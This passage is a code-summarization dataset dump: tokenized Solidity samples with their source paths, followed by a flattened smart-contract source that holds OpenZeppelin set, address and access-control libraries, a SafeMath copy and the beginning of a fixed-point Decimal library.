397, 389, 10035, 20, 280, 21, 5717, 300, 509, 1578, 12, 70, 278, 751, 90, 63, 21, 300, 389, 10035, 20, 280, 21, 19226, 203, 3639, 2583, 12, 474, 1578, 12, 70, 278, 9148, 3674, 397, 2901, 1616, 8689, 38, 278, 13, 411, 509, 1578, 12, 10107, 63, 20, 18537, 10107, 63, 25, 65, 3631, 315, 70, 278, 1467, 1879, 1800, 8863, 203, 3639, 509, 1578, 2901, 1616, 8689, 3817, 84, 273, 509, 1578, 12, 70, 278, 751, 90, 63, 23, 300, 389, 10035, 20, 280, 21, 5717, 300, 509, 1578, 12, 70, 278, 751, 90, 63, 2 ]
./full_match/43114/0x7493EA4d56EC904f8d8579eA98E92BD93fa27dc5/sources/XMAS/TimeERC20Token.sol
* @dev Removes a value from a set. O(1). Returns true if the value was removed from the set, that is if it was present./
function remove(Bytes4Set storage set, bytes4 value) internal returns (bool) { return _remove(set._inner, value); }
4,516,560
[ 1, 6220, 279, 460, 628, 279, 444, 18, 531, 12, 21, 2934, 2860, 638, 309, 326, 460, 1703, 3723, 628, 326, 444, 16, 716, 353, 309, 518, 1703, 3430, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1206, 12, 2160, 24, 694, 2502, 444, 16, 1731, 24, 460, 13, 2713, 1135, 261, 6430, 13, 288, 203, 3639, 327, 389, 4479, 12, 542, 6315, 7872, 16, 460, 1769, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/42220/0x163cd93cB94A414638D3582De74572C98BAcAF1e/sources/contracts/MarketPlaceNom.sol
* @dev See {INFTKEYMarketPlaceV1-buyToken}. Must have a valid listing msg.sender must not the owner of token msg.value must be at least sell price plus fees/
function buyToken(address sender, string memory name, uint256 value) external payable { uint256 tokenId = calculateTokenId(name); require(!_isTokenOwner(tokenId, sender), "Token owner can't buy their own token"); require( value >= listing.listingPrice, "The value send is below sale price plus fees" ); uint256 payment_value = value; if(isEtherToken() == true){ payment_value = msg.value; } sendERC20(msg.sender, listing.seller, calculateSellerFee(payment_value)); sendERC20(msg.sender, maketPlaceFeeAddress, calculateDevFee(payment_value)); if(nftCreaterAddress != address(0) && calculateCreaterFee(payment_value) > 0){ sendERC20(msg.sender, nftCreaterAddress, calculateCreaterFee(payment_value)); } if(nftProducerAddress != address(0) && calculateProducerFee(payment_value) > 0){ sendERC20(msg.sender, nftProducerAddress, calculateProducerFee(payment_value)); } nftTransferFrom(listing.seller, sender, tokenId); _removeBidOfBidder(tokenId, sender); emit TokenBought( keccak256(bytes(name)), listing.seller, msg.sender, payment_value ); }
16,333,136
[ 1, 9704, 288, 706, 4464, 3297, 3882, 278, 6029, 58, 21, 17, 70, 9835, 1345, 5496, 6753, 1240, 279, 923, 11591, 1234, 18, 15330, 1297, 486, 326, 3410, 434, 1147, 1234, 18, 1132, 1297, 506, 622, 4520, 357, 80, 6205, 8737, 1656, 281, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 30143, 1345, 12, 2867, 5793, 16, 533, 3778, 508, 16, 2254, 5034, 460, 13, 3903, 8843, 429, 288, 203, 3639, 2254, 5034, 1147, 548, 273, 4604, 1345, 548, 12, 529, 1769, 203, 3639, 2583, 12, 5, 67, 291, 1345, 5541, 12, 2316, 548, 16, 5793, 3631, 315, 1345, 3410, 848, 1404, 30143, 3675, 4953, 1147, 8863, 203, 3639, 2583, 12, 203, 5411, 460, 1545, 11591, 18, 21228, 5147, 16, 203, 5411, 315, 1986, 460, 1366, 353, 5712, 272, 5349, 6205, 8737, 1656, 281, 6, 203, 3639, 11272, 203, 3639, 2254, 5034, 5184, 67, 1132, 273, 460, 31, 203, 3639, 309, 12, 291, 41, 1136, 1345, 1435, 422, 638, 15329, 203, 5411, 5184, 67, 1132, 273, 1234, 18, 1132, 31, 203, 3639, 289, 203, 3639, 1366, 654, 39, 3462, 12, 3576, 18, 15330, 16, 11591, 18, 1786, 749, 16, 4604, 22050, 14667, 12, 9261, 67, 1132, 10019, 203, 3639, 1366, 654, 39, 3462, 12, 3576, 18, 15330, 16, 29796, 278, 6029, 14667, 1887, 16, 4604, 8870, 14667, 12, 9261, 67, 1132, 10019, 203, 3639, 309, 12, 82, 1222, 1996, 2045, 1887, 480, 1758, 12, 20, 13, 597, 4604, 1996, 2045, 14667, 12, 9261, 67, 1132, 13, 405, 374, 15329, 203, 5411, 1366, 654, 39, 3462, 12, 3576, 18, 15330, 16, 290, 1222, 1996, 2045, 1887, 16, 4604, 1996, 2045, 14667, 12, 9261, 67, 1132, 10019, 203, 3639, 289, 203, 3639, 309, 12, 82, 1222, 12140, 1887, 480, 1758, 12, 20, 13, 597, 4604, 12140, 14667, 12, 9261, 67, 1132, 13, 405, 374, 15329, 2 ]
// Sources flattened with hardhat v2.6.8 https://hardhat.org // File @openzeppelin/contracts/utils/[email protected] // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File @openzeppelin/contracts/utils/[email protected] // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File @openzeppelin/contracts/utils/[email protected] // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File @openzeppelin/contracts/access/[email protected] // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context { using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } } // File contracts/fei-protocol/external/SafeMathCopy.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMathCopy { // To avoid namespace collision between openzeppelin safemath and uniswap safemath /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File contracts/fei-protocol/external/Decimal.sol /* Copyright 2019 dYdX Trading Inc. Copyright 2020 Empty Set Squad <[email protected]> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; /** * @title Decimal * @author dYdX * * Library that defines a fixed-point number with 18 decimal places. */ library Decimal { using SafeMathCopy for uint256; // ============ Constants ============ uint256 private constant BASE = 10**18; // ============ Structs ============ struct D256 { uint256 value; } // ============ Static Functions ============ function zero() internal pure returns (D256 memory) { return D256({ value: 0 }); } function one() internal pure returns (D256 memory) { return D256({ value: BASE }); } function from( uint256 a ) internal pure returns (D256 memory) { return D256({ value: a.mul(BASE) }); } function ratio( uint256 a, uint256 b ) internal pure returns (D256 memory) { return D256({ value: getPartial(a, BASE, b) }); } // ============ Self Functions 